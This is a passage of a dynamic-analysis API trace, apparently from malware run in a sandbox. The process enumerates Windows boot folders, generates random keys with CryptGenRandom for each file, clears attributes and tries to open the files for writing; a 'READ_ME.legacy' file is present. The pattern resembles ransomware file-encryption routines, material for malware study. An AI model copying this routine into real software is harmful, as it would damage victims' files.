0x57d758 [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0107.364] FindFirstFileW (in: lpFileName="\\Boot\\fi-FI\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x59ffe8 [0107.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0107.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.365] GetLastError () returned 0x5 [0107.365] SetLastError (dwErrCode=0x5) [0107.365] GetLastError () returned 0x5 [0107.365] SetLastError (dwErrCode=0x5) [0107.365] GetLastError () returned 0x5 [0107.365] SetLastError (dwErrCode=0x5) [0107.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0107.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0107.365] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0107.365] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0107.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0528 [0107.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0528 | out: hHeap=0x520000) returned 1 [0107.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0107.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0107.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0107.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0107.366] FindNextFileW (in: hFindFile=0x59ffe8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.366] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.366] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.366] GetLastError () returned 0x5 [0107.366] SetLastError (dwErrCode=0x5) [0107.366] GetLastError () returned 0x5 [0107.366] SetLastError (dwErrCode=0x5) [0107.366] GetLastError () returned 0x5 [0107.366] SetLastError (dwErrCode=0x5) [0107.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0107.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0107.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0107.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0228 [0107.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x520000) returned 1 [0107.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0107.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0107.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0107.367] FindNextFileW (in: hFindFile=0x59ffe8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.367] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.367] GetLastError () returned 0x5 [0107.367] SetLastError (dwErrCode=0x5) [0107.367] GetLastError () returned 0x5 [0107.367] SetLastError (dwErrCode=0x5) [0107.368] GetLastError () returned 0x5 [0107.368] SetLastError (dwErrCode=0x5) [0107.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0107.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0107.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.368] FindNextFileW (in: hFindFile=0x59ffe8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.368] GetLastError () returned 0x5 [0107.368] SetLastError (dwErrCode=0x5) [0107.368] GetLastError () returned 0x5 [0107.368] SetLastError (dwErrCode=0x5) [0107.368] GetLastError () returned 0x5 [0107.368] SetLastError (dwErrCode=0x5) [0107.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0107.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0107.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.368] FindNextFileW (in: hFindFile=0x59ffe8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af0ccc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1af0ccc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0107.369] GetLastError () returned 0x5 [0107.369] SetLastError (dwErrCode=0x5) [0107.369] GetLastError () returned 0x5 [0107.369] SetLastError (dwErrCode=0x5) [0107.369] GetLastError () returned 0x5 [0107.369] SetLastError (dwErrCode=0x5) [0107.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.369] FindNextFileW (in: hFindFile=0x59ffe8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af0ccc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1af0ccc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580de0 [0107.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1348 [0107.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580de0 | out: pbBuffer=0x580de0) returned 1 [0107.369] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1348 | out: pbBuffer=0x5c1348) returned 1 [0107.369] SetFileAttributesW (lpFileName="\\Boot\\fi-FI\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0107.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0107.370] CreateFileW (lpFileName="\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581728 [0107.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1378 [0107.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581728 | out: pbBuffer=0x581728) returned 1 [0107.370] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1378 | out: pbBuffer=0x5c1378) returned 1 [0107.370] SetFileAttributesW (lpFileName="\\Boot\\fi-FI\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0107.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0107.371] CreateFileW (lpFileName="\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0107.371] FindFirstFileW (in: lpFileName="\\Boot\\Fonts\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0128 [0107.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0107.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0107.371] GetLastError () returned 0x5 [0107.372] SetLastError (dwErrCode=0x5) [0107.372] GetLastError () returned 0x5 [0107.372] SetLastError (dwErrCode=0x5) [0107.372] GetLastError () returned 0x5 [0107.372] SetLastError (dwErrCode=0x5) [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03a8 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03a8 | out: hHeap=0x520000) returned 1 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0107.372] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0107.372] GetLastError () returned 0x5 [0107.372] SetLastError (dwErrCode=0x5) [0107.372] GetLastError () returned 0x5 [0107.372] SetLastError (dwErrCode=0x5) [0107.372] GetLastError () returned 0x5 [0107.372] SetLastError (dwErrCode=0x5) [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d98 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d190 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00a8 [0107.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x520000) returned 1 [0107.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20210 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20210 | out: hHeap=0x520000) returned 1 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d98 | out: hHeap=0x520000) returned 1 [0107.373] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0107.373] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0107.373] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0107.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0107.373] GetLastError () returned 0x5 [0107.373] SetLastError (dwErrCode=0x5) [0107.373] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0107.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0107.374] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0107.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0107.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0107.374] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0107.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] GetLastError () returned 0x5 [0107.374] SetLastError (dwErrCode=0x5) [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0107.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0107.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.374] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0107.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0107.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0107.375] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0107.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] GetLastError () returned 0x5 [0107.375] SetLastError (dwErrCode=0x5) [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0107.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0107.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0107.375] FindNextFileW (in: hFindFile=0x5a0128, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0107.375] HeapFree (in: hHeap=0x520000, 